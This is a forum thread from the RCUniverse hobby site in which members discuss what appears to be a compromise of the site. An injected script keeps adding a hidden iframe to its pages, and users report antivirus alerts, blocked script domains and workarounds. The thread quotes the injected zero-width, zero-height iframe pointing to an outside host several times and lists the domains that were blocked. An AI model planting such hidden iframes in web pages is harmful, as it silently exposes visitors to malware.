RCU Virus Infected
#1
Thread Starter
My Feedback: (1)
Join Date: Jun 2003
Location: Coffs Harbour NSW, AUSTRALIA
Posts: 2,306
Likes: 0
Received 1 Like
on
1 Post
RCU Virus Infected
I have been complaining about the same in the Clubhouse forum but nobody seems to care - there was one nonsense response but that was it and my virus checker keeps throwing up alerts
The site seems to have been compromised at root level with a script that keeps inserting links to malware sites into the web pages but nobody seems to care or do anything about it
Am I the only one getting those alerts?
RCU Admins seem to just go in and remove the links but don't do anything about the underlying script that re-inserts it
This is the latest link:
<iframe src=http://www.gds.or.kr/service/etc/index.html width=0 height=0></iframe>
The site seems to have been compromised at root level with a script that keeps inserting links to malware sites into the web pages but nobody seems to care or do anything about it
Am I the only one getting those alerts?
RCU Admins seem to just go in and remove the links but don't do anything about the underlying script that re-inserts it
This is the latest link:
<iframe src=http://www.gds.or.kr/service/etc/index.html width=0 height=0></iframe>
#4
Senior Member
Join Date: Jan 2008
Posts: 608
Likes: 0
Received 0 Likes
on
0 Posts
RE: RCU Virus Infected
Must admit I do get annoyed when I attempt to search a thread, attempt to go to last post, or post a reply and it just sits there clocking but nothing happening. Usually just close out and come back in...nevermind the time I took posting the reply lost in lala land.
Doesn't happen every time but I wonder if these bugs are to blame?
Clay
Doesn't happen every time but I wonder if these bugs are to blame?
Clay
#5
Thread Starter
My Feedback: (1)
Join Date: Jun 2003
Location: Coffs Harbour NSW, AUSTRALIA
Posts: 2,306
Likes: 0
Received 1 Like
on
1 Post
RE: RCU Virus Infected
ORIGINAL: w8ye
But I did report this thread to the higher ups.
Jim
But I did report this thread to the higher ups.
Jim
At least, the Admins seem to have removed the link now. I wonder how soon the script will re-insert its code.
I for one am going to sit on my membership renewal till I regain some confidence
#7
Thread Starter
My Feedback: (1)
Join Date: Jun 2003
Location: Coffs Harbour NSW, AUSTRALIA
Posts: 2,306
Likes: 0
Received 1 Like
on
1 Post
RE: RCU Virus Infected
ORIGINAL: apalsson
I for one am going to sit on my membership renewal till I regain some confidence
ORIGINAL: w8ye
But I did report this thread to the higher ups.
Jim
But I did report this thread to the higher ups.
Jim
Now the malware link is back
Look like high time to start looking for another forum
<iframe src=http://www.gds.or.kr/service/etc/index.html width=0 height=0></iframe>
#9
Senior Member
Join Date: Jan 2002
Location: Arcen, , NETHERLANDS
Posts: 6,571
Likes: 0
Received 2 Likes
on
2 Posts
RE: RCU Virus Infected
Hmm.
The "we are sorry" time-out is here again, even on very short answers.
Hit ctrlA and ctrlC, and it will work to get answers posted again.
ORIGINAL: huck1199
I have not had a problem. What are people experiencing? Are they being redirected to some other site?
I have not had a problem. What are people experiencing? Are they being redirected to some other site?
#10
Senior Member
Join Date: Oct 2005
Location: PerthWA, AUSTRALIA
Posts: 2,924
Likes: 0
Received 0 Likes
on
0 Posts
RE: RCU Virus Infected
In internet Explorer, go to "Tools", then "Internet Options" then "Privacy" then "Advanced" and change your cookie handling settings to "prompt". You will see a good indication of how many attempts there are to set tracking cookies.
I did make a suggestion to the forum managers recently that they seriously reconsider the employment terms of whoever deals with their I.T. services. It seems that ever since the takeover, there have been an ever growing number of issues such as photo posting, time outs, viruses, general non availability etc.
I did make a suggestion to the forum managers recently that they seriously reconsider the employment terms of whoever deals with their I.T. services. It seems that ever since the takeover, there have been an ever growing number of issues such as photo posting, time outs, viruses, general non availability etc.
#11
Senior Member
My Feedback: (1)
RE: RCU Virus Infected
I had to quit viewing RCU for the past couple months since the "re-design". RCU is so buggy, slow, non-responsive and error ridden that half the time I couldn't even view threads, not to mention post on them... But I'm glad I'm not the only one. I keep reading about other members having the same issue. It happens on all 5 of my PC's (all Win 7, IE 7, 8, 9) all on different networks and several different ISP's. Wouldn't even work on my my BlackBerry to fill time like it used to.
Fun times, although it seems to be working better the last couple weeks.
Fun times, although it seems to be working better the last couple weeks.
#12
My Feedback: (7)
Join Date: Aug 2004
Location: La Porte,
IN
Posts: 2,505
Likes: 0
Received 0 Likes
on
0 Posts
RE: RCU Virus Infected
ORIGINAL: apalsson
The site seems to have been compromised at root level with a script that keeps inserting links to malware sites into the web pages but nobody seems to care or do anything about it
Am I the only one getting those alerts?
This is the latest link:
<iframe src=http://www.gds.or.kr/service/etc/index.html width=0 height=0></iframe>
The site seems to have been compromised at root level with a script that keeps inserting links to malware sites into the web pages but nobody seems to care or do anything about it
Am I the only one getting those alerts?
This is the latest link:
<iframe src=http://www.gds.or.kr/service/etc/index.html width=0 height=0></iframe>
I'm having zero warnings.
Your one example simply refers to a "page not found" (404) error, albeit it seems to be Chinese,
it also references Microsoft's IIS service, that some web sites use. My Norton System Suite has
no problem with that site, although *I* can't read all of it.
Precisely & exactly what were you doing in order to get the warning(s) you got?
What AV program & version?
What OS?
What web browser? Version?
#13
Thread Starter
My Feedback: (1)
Join Date: Jun 2003
Location: Coffs Harbour NSW, AUSTRALIA
Posts: 2,306
Likes: 0
Received 1 Like
on
1 Post
RE: RCU Virus Infected
ORIGINAL: a1pcfixer
What AV program & version?
What OS?
What web browser? Version?
What AV program & version?
What OS?
What web browser? Version?
When my Avast Anti-Virus doesn't complain, the top lines are like to be expected, but every set number of hours, the line I quoted is added avove the header.
My own business website got compromised the same way a few years back (I changed ISPs after that) where a script was installed with root level access and no matter how often the links were removed, they were re-written into the top of the code.
This is one of the oldest malware attack methods in the book
Personally - if there were no Anti-Virus warnings popping up, I'd be worried
#14
RE: RCU Virus Infected
i must admit RCU has been acting up lately, sometimes the pages load... sometimes they dont. thankfully there is another GIANT FLYING forum i also hang out on.
#15
Thread Starter
My Feedback: (1)
Join Date: Jun 2003
Location: Coffs Harbour NSW, AUSTRALIA
Posts: 2,306
Likes: 0
Received 1 Like
on
1 Post
RE: RCU Virus Infected
ORIGINAL: MetallicaJunkie
i must admit RCU has been acting up lately, sometimes the pages load... sometimes they dont. thankfully there is another GIANT FLYING forum i also hang out on.
i must admit RCU has been acting up lately, sometimes the pages load... sometimes they dont. thankfully there is another GIANT FLYING forum i also hang out on.
Shame about the attitude in many of the "elites" over there though
#17
RE: RCU Virus Infected
ORIGINAL: w8ye
I run ''NoScript''
Here are some scripts trying to load that I have blocked . . . .
51yes/com
cnzz.com
gds.or.kr
tuow.info
I don't see anything useful for me in any of these
I run ''NoScript''
Here are some scripts trying to load that I have blocked . . . .
51yes/com
cnzz.com
gds.or.kr
tuow.info
I don't see anything useful for me in any of these
#19
My Feedback: (7)
Join Date: Aug 2004
Location: La Porte,
IN
Posts: 2,505
Likes: 0
Received 0 Likes
on
0 Posts
RE: RCU Virus Infected
ORIGINAL: apalsson
This is not browser specific ... start up INternet Explorer - when in RCU, click on ''View'' and then ''Source''
Personally - if there were no Anti-Virus warnings popping up, I'd be worried
ORIGINAL: a1pcfixer
What AV program & version?
What OS?
What web browser? Version?
What AV program & version?
What OS?
What web browser? Version?
Personally - if there were no Anti-Virus warnings popping up, I'd be worried
Neither browser complains, nor NSS, and yet some users running Avast here do get an alert.
Is this the one linked to the pdf vulnerability?
#23
My Feedback: (7)
Join Date: Aug 2004
Location: La Porte,
IN
Posts: 2,505
Likes: 0
Received 0 Likes
on
0 Posts
RE: RCU Virus Infected
ORIGINAL: w8ye
I run ''NoScript''
Here are some scripts trying to load that I have blocked . . . .
gds.or.kr
I run ''NoScript''
Here are some scripts trying to load that I have blocked . . . .
gds.or.kr
IF those getting hit could use the alternate & more secure access to web sites, in particular here & now -RCU- it might help;
https://www.rcuniverse.com/
-instead of the usual-
http://www.rcuniverse.com
{notice the 's'}
Unable to use that with MSIExploder though.[&o]
With FireFox + NoScript + AdBlock, I'm not seeing any problems.
#24
Thread Starter
My Feedback: (1)
Join Date: Jun 2003
Location: Coffs Harbour NSW, AUSTRALIA
Posts: 2,306
Likes: 0
Received 1 Like
on
1 Post
RE: RCU Virus Infected
ORIGINAL: a1pcfixer
That's the source it appears.
IF those getting hit could use the alternate & more secure access to web sites, in particular here & now -RCU- it might help;
https://www.rcuniverse.com/
-instead of the usual-
http://www.rcuniverse.com
{notice the 's'}
Unable to use that with MSIExploder though.[&o]
With FireFox + NoScript + AdBlock, I'm not seeing any problems.
ORIGINAL: w8ye
I run ''NoScript''
Here are some scripts trying to load that I have blocked . . . .
gds.or.kr
I run ''NoScript''
Here are some scripts trying to load that I have blocked . . . .
gds.or.kr
IF those getting hit could use the alternate & more secure access to web sites, in particular here & now -RCU- it might help;
https://www.rcuniverse.com/
-instead of the usual-
http://www.rcuniverse.com
{notice the 's'}
Unable to use that with MSIExploder though.[&o]
With FireFox + NoScript + AdBlock, I'm not seeing any problems.
If you need all kinds of third party browsers and enhancements to suppress the popups, there is a SERIOUS problem with the site.
Just view the source of the page periodically
Look for the very top line
Here is what I see
Unacceptable!